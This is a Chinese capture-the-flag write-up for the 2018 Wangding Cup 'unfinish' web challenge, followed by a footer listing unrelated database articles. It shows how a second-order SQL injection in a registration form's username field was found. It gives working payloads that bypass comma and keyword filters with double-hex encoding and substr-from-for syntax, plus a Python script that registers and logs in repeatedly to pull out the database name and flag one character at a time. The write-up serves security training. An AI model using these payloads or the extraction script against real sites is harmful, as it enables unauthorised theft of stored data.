网鼎杯之unfinish

题目来源:网鼎杯 2018 题目描述:SQL

问题:给一个页面,如何判断其有漏洞

通过awvs扫描得知存在 register.php 注册页面,并且注册界面存在SQL盲注漏洞。

题目提示SQL,在注册页面测试无果,且发现输入框限制了特殊字符,要用代理工具提交payload。

尝试构造sql盲注语句username=alice' and left(database(),1)>'a'#

得到结果为nnnnoooo!!!

即存在过滤

测试发现过滤了逗号、information等,那么使用盲注应该不太行了

尝试进行正常的注册、登录操作

发现注册成功时,系统返回302跳转到登录页面(注册失败时系统返回200)

登录时,使用邮箱和密码登录,登录成功后,系统返回302跳转到index.php页面,显示用户名

综上,登录时用到的是邮箱和密码,而注册时还有一个用户名,而这个用户名会在登录后显示,所以我们考虑用户名这里可能存在 二次注入 。

经过尝试,构造username=select database(),登录后显示用户名还是为select database(),说明后台代码可能把username用单引号引起来了,导致其无法显示。

构造payload如下

复制代码
aweba
email=test2%40qq.com&username=a'+(select hex(hex(database())))+'a&password=123456
​
#+这里加号要转义,否则会转为空格 %2b
insert into users (email, username, password) values ('$email', '0'+(select hex(database()))+'0', '$password');

进行两次hex解码后得到数据库名为web

复制代码
>>> "373736353632".decode('hex').decode('hex')
'web'

然后尝试获取表名失败,因为过滤了information

然后这里还要注意一个问题,就是当数据进过 两次hex 后,会得到较长的一串只含有数字的字符串,当这个长字符串转成数字型数据的时候会变成科学计数法,也就是说会丢失数据精度,如下:

所以这里我们使用 substr 每次取10个字符长度与 '0' 相加,这样就不会丢失数据。但是这里使用逗号 , 会出错,所以可以使用类似 substr(str from 1 for 10) (表示截取str字符串的第1个到第10个字符)这种写法来绕过,具体获取 flag 的代码如下:

复制代码
email=test3%40qq.com&username=0'%2B(select substr(hex(hex((select * from flag))) from 1 for 10))%2B'0&password=123456

进行两次hex解码后得到flag的前2位为:fl

运行脚本如下:

python 复制代码
import requests
import time
from bs4 import BeautifulSoup       #html解析器

def getDatabase():
    database = ''
    for i in range(10):
        data_database = {
            'username':"0'+ascii(substr((select database()) from "+str(i+1)+" for 1))+'0",
            'password':'admin',
            "email":"admin11@admin.com"+str(i)
        }
        #注册
        requests.post("http://220.249.52.133:36774/register.php",data_database)
        login_data={
            'password':'admin',
            "email":"admin11@admin.com"+str(i)
        }
        response=requests.post("http://220.249.52.133:36774/login.php",login_data)
        html=response.text                  #返回的页面
        soup=BeautifulSoup(html,'html.parser')
        getUsername=soup.find_all('span')[0]#获取用户名
        username=getUsername.text
        if int(username)==0:
            break
        database+=chr(int(username))
    return database

def getFlag():
    flag = ''
    for i in range(40):
        data_flag = {
            'username':"0'+ascii(substr((select * from flag) from "+str(i+1)+" for 1))+'0",
            'password':'admin',
            "email":"admin32@admin.com"+str(i)
        }
        #注册
        requests.post("http://220.249.52.133:36774/register.php",data_flag)
        login_data={
            'password':'admin',
            "email":"admin32@admin.com"+str(i)
        }
        response=requests.post("http://220.249.52.133:36774/login.php",login_data)
        html=response.text                  #返回的页面
        soup=BeautifulSoup(html,'html.parser')
        getUsername=soup.find_all('span')[0]#获取用户名
        username=getUsername.text
        if int(username)==0:
            break
        flag+=chr(int(username))
    return flag

print(getDatabase())
print(getFlag())

运行结果如下:

必须还得用脚本来,不然爆破不出想要答案

相关推荐
月光水岸New2 小时前
Ubuntu 中建的mysql数据库使用Navicat for MySQL连接不上
数据库·mysql·ubuntu
狄加山6752 小时前
数据库基础1
数据库
我爱松子鱼2 小时前
mysql之规则优化器RBO
数据库·mysql
chengooooooo2 小时前
苍穹外卖day8 地址上传 用户下单 订单支付
java·服务器·数据库
Rverdoser3 小时前
【SQL】多表查询案例
数据库·sql
Galeoto4 小时前
how to export a table in sqlite, and import into another
数据库·sqlite
人间打气筒(Ada)4 小时前
MySQL主从架构
服务器·数据库·mysql
leegong231114 小时前
学习PostgreSQL专家认证
数据库·学习·postgresql
喝醉酒的小白4 小时前
PostgreSQL:更新字段慢
数据库·postgresql
敲敲敲-敲代码4 小时前
【SQL实验】触发器
数据库·笔记·sql